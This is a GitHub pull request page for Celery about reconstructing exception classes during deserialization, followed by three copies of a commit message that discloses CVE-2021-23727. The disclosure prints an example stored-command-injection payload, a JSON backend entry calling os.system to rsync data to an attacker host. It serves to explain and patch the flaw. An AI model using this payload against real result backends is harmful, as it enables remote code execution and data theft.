Fix exception deserialization for unknown classes (Fixes #4835)#4836
Fix exception deserialization for unknown classes (Fixes #4835)#4836auvipy merged 1 commit intocelery:masterfrom
Conversation
| cls = getattr(sys.modules[exc_module], exc_type) | ||
| except KeyError: | ||
| cls = create_exception_cls( | ||
| from_utf8(exc['exc_type']), __name__) |
There was a problem hiding this comment.
You can use the exc_type variable, defined on line 251.
There was a problem hiding this comment.
Instead of __name__ which will return celery.backends.base I think, you can pass celery.exceptions.__name__.
There was a problem hiding this comment.
1st change made.
For the second one, celery.exceptions is not imported, ok to use module name of an imported exception? e.g.
cls = create_exception_cls(
exc_type, TimeoutError.__module__)
There was a problem hiding this comment.
You can add the import statement if you don't mind, I can't find any issue with that. Your version would work too, using the module is more directly visible perhaps.
Codecov Report
@@ Coverage Diff @@
## master #4836 +/- ##
==========================================
- Coverage 82.76% 82.75% -0.01%
==========================================
Files 140 140
Lines 15940 15943 +3
Branches 1998 1998
==========================================
+ Hits 13193 13194 +1
- Misses 2548 2550 +2
Partials 199 199
Continue to review full report at Codecov.
|
|
@georgepsarakis I added your requested changes, squashed the commits back down. |
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: `os.system("rsync /data attacker@192.168.56.100:~/data")` by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload `rsync /data attacker@192.168.56.100:~/data` as the exception arguments like so: ```json { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" } ``` According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the tasks's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in #4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: `os.system("rsync /data attacker@192.168.56.100:~/data")` by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload `rsync /data attacker@192.168.56.100:~/data` as the exception arguments like so: ```json { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" } ``` According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the tasks's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
Fix CVE-2021-23727 (Stored Command Injection securtiy vulnerability). When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer's code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task's result. This was introduced in celery#4836. If the recreated exception type isn't an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: `os.system("rsync /data attacker@192.168.56.100:~/data")` by setting the task's result to a failure in the result backend with the os, the system function as the exception type and the payload `rsync /data attacker@192.168.56.100:~/data` as the exception arguments like so: ```json { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" } ``` According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the tasks's result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
Fixes #4835.